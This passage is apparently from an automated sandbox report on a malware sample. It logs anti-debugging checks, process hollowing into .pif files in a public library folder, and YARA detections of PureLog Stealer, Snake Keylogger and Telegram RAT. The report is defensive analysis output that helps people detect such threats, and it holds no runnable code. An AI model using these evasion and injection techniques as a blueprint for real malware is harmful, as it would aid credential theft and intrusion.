              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594609
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594437
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594254
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594059
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593755
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593611
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593489
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593364
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593239
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 593114
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592989
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592849
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592679
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592567
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592443
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592318
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592193
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 592068
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591943
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591818
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591693
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591568
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591443
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591318
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 591193
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 922337203685477
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 600000
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599890
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599781
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599672
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599562
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599453
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599343
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599234
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599125
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 599015
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598906
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598796
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598687
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598578
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598467
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598359
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598250
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598140
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 598031
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597922
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597812
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597703
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597593
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597484
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597375
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597265
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597156
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 597047
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596937
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596828
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596718
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596609
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596499
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596390
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596281
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596172
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 596062
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595953
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595842
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595734
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595625
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595515
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595406
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595296
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595187
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 595078
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594956
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594828
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594718
              Source: C:\Users\Public\Libraries\npratlsN.pifThread delayed: delay time: 594609
              Source: Nsltarpn.PIF, 0000000F.00000002.2055769100.00000000006B8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO
              Source: Nsltarpn.PIF, 0000000D.00000002.1975967532.00000000006CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
              Source: brightness.exe, 00000004.00000002.1860229176.0000000000656000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWt
              Source: brightness.exe, 00000004.00000002.1860229176.000000000063D000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1860229176.0000000000656000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: npratlsN.pif, 0000000A.00000002.3461578929.0000000029AFE000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F984000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029E9E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: C:\Windows\SysWOW64\brightness.exeAPI call chain: ExitProcess graph end nodegraph_4-33786
              Source: C:\Users\Public\Libraries\npratlsN.pifAPI call chain: ExitProcess graph end nodegraph_10-83020
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFAPI call chain: ExitProcess graph end node
              Source: C:\Users\Public\Libraries\npratlsN.pifAPI call chain: ExitProcess graph end node
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFAPI call chain: ExitProcess graph end node
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information queried: ProcessInformationJump to behavior

              Anti Debugging

              barindex
              Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_0290FA38 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,4_2_0290FA38
              Source: C:\Windows\SysWOW64\brightness.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess queried: DebugPort
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess queried: DebugPort
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_2F687808 LdrInitializeThunk,10_2_2F687808
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_0040CE09
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,10_2_004019F0
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02908818 LoadLibraryW,GetProcAddress,FreeLibrary,4_2_02908818
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040ADB0 GetProcessHeap,HeapFree,10_2_0040ADB0
              Source: C:\Users\Public\Libraries\npratlsN.pifProcess token adjusted: DebugJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_0040CE09
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_0040E61C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00416F6A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004123F1 SetUnhandledExceptionFilter,10_2_004123F1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_0040CE09
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_0040E61C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_00416F6A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_004123F1 SetUnhandledExceptionFilter,14_2_004123F1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_1_0040CE09
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_1_0040E61C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_1_00416F6A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_1_004123F1 SetUnhandledExceptionFilter,14_1_004123F1
              Source: C:\Users\Public\Libraries\npratlsN.pifMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Allocates memory in foreign processes
              Source: C:\Windows\SysWOW64\brightness.exeMemory allocated: C:\Users\Public\Libraries\npratlsN.pif base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFMemory allocated: C:\Users\Public\Libraries\npratlsN.pif base: 400000 protect: page execute and read and write
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFMemory allocated: C:\Users\Public\Libraries\npratlsN.pif base: 400000 protect: page execute and read and write
              Sample uses process hollowing technique
              Source: C:\Windows\SysWOW64\brightness.exeSection unmapped: C:\Users\Public\Libraries\npratlsN.pif base address: 400000Jump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection unmapped: C:\Users\Public\Libraries\npratlsN.pif base address: 400000
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection unmapped: C:\Users\Public\Libraries\npratlsN.pif base address: 400000
              Writes to foreign memory regions
              Source: C:\Windows\SysWOW64\brightness.exeMemory written: C:\Users\Public\Libraries\npratlsN.pif base: 331008Jump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFMemory written: C:\Users\Public\Libraries\npratlsN.pif base: 329008
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFMemory written: C:\Users\Public\Libraries\npratlsN.pif base: 217008
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pifJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: C:\Windows\SysWOW64\brightness.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,4_2_028F5ACC
              Source: C:\Windows\SysWOW64\brightness.exeCode function: GetLocaleInfoA,4_2_028FA7C4
              Source: C:\Windows\SysWOW64\brightness.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,4_2_028F5BD8
              Source: C:\Windows\SysWOW64\brightness.exeCode function: GetLocaleInfoA,4_2_028FA810
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: GetLocaleInfoA,10_2_00417A20
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,13_2_02905ACC
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,13_2_02905BD7
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: GetLocaleInfoA,13_2_0290A810
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: GetLocaleInfoA,14_2_00417A20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: GetLocaleInfoA,14_1_00417A20
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,15_2_02875ACC
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,15_2_02875BD7
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: GetLocaleInfoA,15_2_0287A810
              Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\Public\Libraries\npratlsN.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F920C GetLocalTime,4_2_028F920C
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028FB78C GetVersionExA,4_2_028FB78C
              Source: C:\Users\Public\Libraries\npratlsN.pifKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Yara detected Snake Keylogger
              Source: Yara matchFile source: 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
